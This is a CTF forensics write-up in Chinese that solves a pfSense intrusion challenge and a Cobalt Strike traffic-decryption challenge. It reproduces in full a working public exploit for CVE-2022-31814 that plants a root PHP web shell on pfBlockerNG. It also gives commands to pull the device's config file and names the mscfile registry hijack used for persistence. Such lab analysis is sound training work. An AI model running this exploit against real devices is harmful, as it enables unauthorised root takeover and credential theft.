最近CTF很多取证题,借这个比赛简单学习下。

pfsense

1、从流量数据包中找出攻击者利用漏洞开展攻击的会话,写出其中攻击者执行的命令中设置的flag内容

2、攻击者通过漏洞利用获取设备控制权限,然后查找设备上的flag文件,写出flag的文件内容

3、找出并提交受控机设备中普通用户的IPsec预共享密钥

pfsense1

从流量数据包中找出攻击者利用漏洞开展攻击的会话,写出其中攻击者执行的命令中设置的flag内容

流量分析,过滤 http 协议,右键追踪 tcp 流,在第二个流中有一串 base64

解码可以看到执行了个木马,后面带着第一题 flag

pfsense2

攻击者通过漏洞利用获取设备控制权限,然后查找设备上的flag文件,写出flag的文件内容

按照要求将虚拟机设置为 nat 模式,子网ip为 61.139.2.0,访问网站

发现是 pfsense 的设备,尝试设备弱口令没成功。根据流量中的 payload 可知存在 rce 漏洞,直接搜索漏洞名称搜到一个 CVE,CVE-2022-31814,直接用脚本打

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
# Exploit Title: pfBlockerNG 2.1.4_26 - Remote Code Execution (RCE)
# Shodan Results: https://www.shodan.io/search?query=http.title%3A%22pfSense+-+Login%22+%22Server%3A+nginx%22+%22Set-Cookie%3A+PHPSESSID%3D%22
# Date: 5th of September 2022
# Exploit Author: IHTeam
# Vendor Homepage: https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html
# Software Link: https://github.com/pfsense/FreeBSD-ports/pull/1169
# Version: 2.1.4_26
# Tested on: pfSense 2.6.0
# CVE : CVE-2022-31814
# Original Advisory: https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/

#!/usr/bin/env python3
import argparse
import requests
import time
import sys
import urllib.parse
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

parser = argparse.ArgumentParser(description="pfBlockerNG <= 2.1.4_26 Unauth RCE")
parser.add_argument('--url', action='store', dest='url', required=True, help="Full URL and port e.g.: https://192.168.1.111:443/")
args = parser.parse_args()

url = args.url
shell_filename = "system_advanced_control.php"

def check_endpoint(url):
response = requests.get('%s/pfblockerng/www/index.php' % (url), verify=False)
if response.status_code == 200:
print("[+] pfBlockerNG is installed")
else:
print("\n[-] pfBlockerNG not installed")
sys.exit()

def upload_shell(url, shell_filename):
payload = {"Host":"' *; echo 'PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBwcmludChwYXNzdGhydSggJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSggJGEpOz8+'|python3.8 -m base64 -d | php; '"}
print("[/] Uploading shell...")
response = requests.get('%s/pfblockerng/www/index.php' % (url), headers=payload, verify=False)
time.sleep(2)
response = requests.get('%s/system_advanced_control.php?c=id' % (url), verify=False)
if ('uid=0(root) gid=0(wheel)' in str(response.content, 'utf-8')):
print("[+] Upload succeeded")
else:
print("\n[-] Error uploading shell. Probably patched ", response.content)
sys.exit()

def interactive_shell(url, shell_filename, cmd):
response = requests.get('%s/system_advanced_control.php?c=%s' % (url, urllib.parse.quote(cmd, safe='')), verify=False)
print(str(response.text)+"\n")


def delete_shell(url, shell_filename):
delcmd = "rm /usr/local/www/system_advanced_control.php"
response = requests.get('%s/system_advanced_control.php?c=%s' % (url, urllib.parse.quote(delcmd, safe='')), verify=False)
print("\n[+] Shell deleted")

check_endpoint(url)
upload_shell(url, shell_filename)
try:
while True:
cmd = input("# ")
interactive_shell(url, shell_filename, cmd)
except:
delete_shell(url, shell_filename)

使用命令如下,执行成功后拿到一个 root 权限的 shell

1
python exp.py --url http://61.139.2.139/

直接搜索 flag,得到第二题 flag

1
find / -name "fla*"

pfsense3

找出并提交受控机设备中普通用户的IPsec预共享密钥

打开 PfSense 的配置文件 /conf/config.xml,文件内容复制出来

1
cat /conf/config.xml

在文件中搜索 ipsec 相关标签,找到 IPsec 相关的配置,即可得到第三题 flag

WinCS

1.受控机器木马的回连的ip地址和端口是?(flag{ip:端口})

2.分析流量信息,攻击者尝试修改的jhon账户密码是什么?

3.分析流量当中,攻击者查看的文件中flag内容是什么?

4.攻击者在攻击过程当中修改过的注册表目录是什么?

5.受控机当中加密文件的内容是什么?

6.受控机木马的自启动文件路径是什么?

WinCS1

受控机器木马的回连的ip地址和端口是?(flag{ip:端口})

桌面上有火绒,点开看看信任区发现疑似木马的文件

传个 CurrPorts 上去,运行 summon.exe,查看进程的回连 IP 和端口,得到第一题 flag

WinCS2

分析流量信息,攻击者尝试修改的jhon账户密码是什么?

流量打开后是很明显的 CS 流量特征,结合题目名称明显是要解 CS 流量,需要找到密钥文件才行,木马的同级目录还有两张图片和一个压缩包

两张图片放入 010 查看,发现在它们尾部各隐藏了一半压缩包,分离合并,解压就是 CS 流量的密钥文件,密钥文件固定名称是 .cobaltstrike.beacon_keys

接下来就是使用密钥解密 CS 流量了,具体原理这里就不说了,使用脚本解密(脚本太长了,这里就先贴两张图吧)

首先使用密钥和流量包的带的固定的 cookie 解出 Rawkey

1
python cs-decrypt-metadata.py -f .cobaltstrike.beacon_keys CMUxtZ2Ks80gC9OFjQ0DAmxErO6ikAONXSjdR4tfLIkEwlpCYZRFizNqDCRUkBqbgx1cAIzyqgbXYOsdKBS09Aw8LKOf63SYyRcCH8TAU/3Xf3jL4l0j7K4xudAdwrY6T/Btb7c+9bXgE5jUSXwCY1qaazaegCL/w4/BpNcNKwk=

再用 Rawkey 解流量包的所有 http 协议传输的数据

1
python cs-parse-http-traffic.py -r 7368fef2258ab59345362d6b302247c5 -Y "http" ./cs_rush.pcapng

这里发现攻击者尝试修改 jhon 账户的密码为 P@ssW0rd@123,这是第二题 flag

WinCS3

分析流量当中,攻击者查看的文件中flag内容是什么?

再往下看,攻击者查看 passkey.txt 文件,这里给出了第三题 flag

WinCS4

攻击者在攻击过程当中修改过的注册表目录是什么?

再往下看,这里攻击者尝试修改注册表目录

路径如下,md5 加密一下即可,得到第四题 flag

1
HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command

WinCS5

受控机当中加密文件的内容是什么?

上面查看 passkey.txt 文件除了给出一个 flag 还有一个密码,尝试用密码解压 john 用户目录下的那个压缩包,成功得到第五题 flag

flag 值:flag{fc51bd0633d256f2dcbe282efa205c3a}

WinCS6

受控机木马的自启动文件路径是什么?

常见的自启动路径下和注册表里都没有可疑的木马启动项,查看 windows 计划任务列表,发现一个以 system 权限启动的 bat 脚本,打开发现就是木马启动项

因此路径为 C:\Users\jhon\AppData\Local\Temp\power.bat,得到第六题 flag